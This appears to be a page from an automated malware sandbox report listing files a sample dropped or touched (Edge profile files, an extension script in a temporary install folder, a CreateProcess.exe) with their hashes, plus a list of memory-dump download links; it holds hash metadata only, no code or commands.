SHA1 f32581faba1eea86de6507b29930c7c621149b6e
SHA512 750634888f5c5011462e482cd730eaf69851d6562dd77aaa299bdf2cc7c64637db8ac186c2be9e09705cd84cf85f44b51d947167df6d17f68e4f4c5d547ff7c3
SSDEEP 768:Mi/qXD7pLuL7XmWgfDfOT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVogWyJj2ro+i7Ea:Mi/qX1E7XmWgfDfOTu1jajgWgjN+A
TLSH
T1C0E2EC3B680CCB7E4F404ADCED397D9A6DA802CB56D8CD9447FA884C03C66EB55164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 0804ed8f98be3d9a47b517aa7a6490bc2bdd952a9cf2279914594bb0c2b69821
MD5 060112ab23b83f1367755e2a5bf1fc7c
SHA1 bdf43c6af0a95ac48b425bea568abac2fba781a0
SHA512 344cb384229c8c716a11faafc9a804f78a2407bc3e0d46b490056cd882205ced94cadf3ac3241f2994f3a0f4fd4b4b1d2325bbba17068403e59e5c67ceffdfb7
SSDEEP 96:KR6/masMs6WURJgK6K4PgQ6caS5oqzHU1gkeCGEWCPvgsEK4hgmEcEkveE2r6WwG:C6/masMsFURaKCPgQBaS5oqzHU1gkeCP
TLSH
T15D914644753A02C0397D7D4992A8A85686C1F065312AF87BB79901F21F67D039EFDCDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bc9cc93e-90a7-4abc-94f3-16a4ecde3d17.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\bc9cc93e-90a7-4abc-94f3-16a4ecde3d17.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 71d055971960be26a66c7dd6f3378f0336eafe74c33b92dfcc24db7ce76f8604
MD5 cc4b7576efb45271acf9de3b11cb3a06
SHA1 bb6277a6efc598145b92dc4663a0e8f7aaed0102
SHA512 5956e49f6e11f928d9554a53174ed86c4136838b84f686583976e2a126b76f51248723f0d0e799522301143525534f827f75e40b2fb60de46e1f266943f9645c
SSDEEP 768:Xrv+4UNbdM3WZVl9ZsyGto3QKfQHPWoeT0dU1TrIUiQH:XbsbG3W753Q6Qeow0Gt0UJ
TLSH
T19B03C032A998C537DCE2D18573477643BFB4616382C11B88D8FD6B0D42DB5AD230B967
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 913021c97591ee3ee3974c7dcb5df00a73bdba8f5d1d43b6d624ae34e50046ad
MD5 04c874b24058c6f305473944e4627396
SHA1 e590cec185acec283b0ab5e273362123241fff84
SHA512 d0b2ee73df44becd1f685e8e33fa57a678b5ff00ff3db7e8a6b7edaf4c01d008f5aeffe7687436818c7995342ebbcc662eeb5b15ee07df74be1f300cbab9819c
SSDEEP 768:9Xj+9D35dLl9ZsyGtBqm3QKfQHPWoeT0dU1TLhb9MF:9a9D359Yqm3Q6Qeow0Gtlb+F
TLSH
T183F2AE71A995DD338CD6D68973473787AEF022B381C01E4CE8E9AF0D06C76AD571B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 f35c1239b1e1e5dff6244ae7c16a2e72199db6b8e08c28122ae95916da2acf01
MD5 cbcb321c8f8533a880aa9f1a0ebddffe
SHA1 bf27eecd644e133c4e73c3a81e8e41c1d6f27987
SHA512 616670fbee2c7e0b6849185d68e5d2f4c2d37fd40e54c92be613b3ebe0282e92b3e724f6f72c1437f0a42b0c8adcf6383f32a445e61a36d7a7544878d9f1ea01
SSDEEP 768:1xF1j+993zwgGjLAAyGtBqn3QKfQHPWoeT0dU1TLhb9MF:1Q993snTqn3Q6Qeow0Gtlb+F
TLSH
T1891339F699D38936D89E9787633E2E469EBCD163B1841988BBD45E0CCC861BFC207815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

4f9dbc14-5e43-4067-818b-cad5f390d699.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\4f9dbc14-5e43-4067-818b-cad5f390d699.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4396_903059909\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 c14056378ce013638c83e2c7e3d0896bbecbc4f703d766b43ace9b1ccc86bba7
MD5 511844246483ce6961d90b6f92eb5981
SHA1 7b643cff597be22b102377bb16f6d68fd992f8cc
SHA512 254c0f1b455523a06e2a9041255a03518f40ccc8a11a0604d8b05ab7a3104ca796ab878e1f2ff13a02f73cef58c97068151514c06431a211d83f483c8e3b2649
TLSH
T17071008366A9D9F3C1DA5FF402835244F1BB22380B3320204B555A86AA30A7A54B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1244-242-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1464-317-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2076-467-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2240-484-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3236-363-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3236-336-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3468-415-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3484-472-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3492-446-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3492-468-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3680-390-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3712-340-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3736-293-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4016-267-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4252-195-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4324-62-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5328-279-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5708-435-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5748-392-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5748-370-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5828-321-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5928-411-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6136-488-0x0000000000010000-0x00000000000AB000-memory.dmp

Download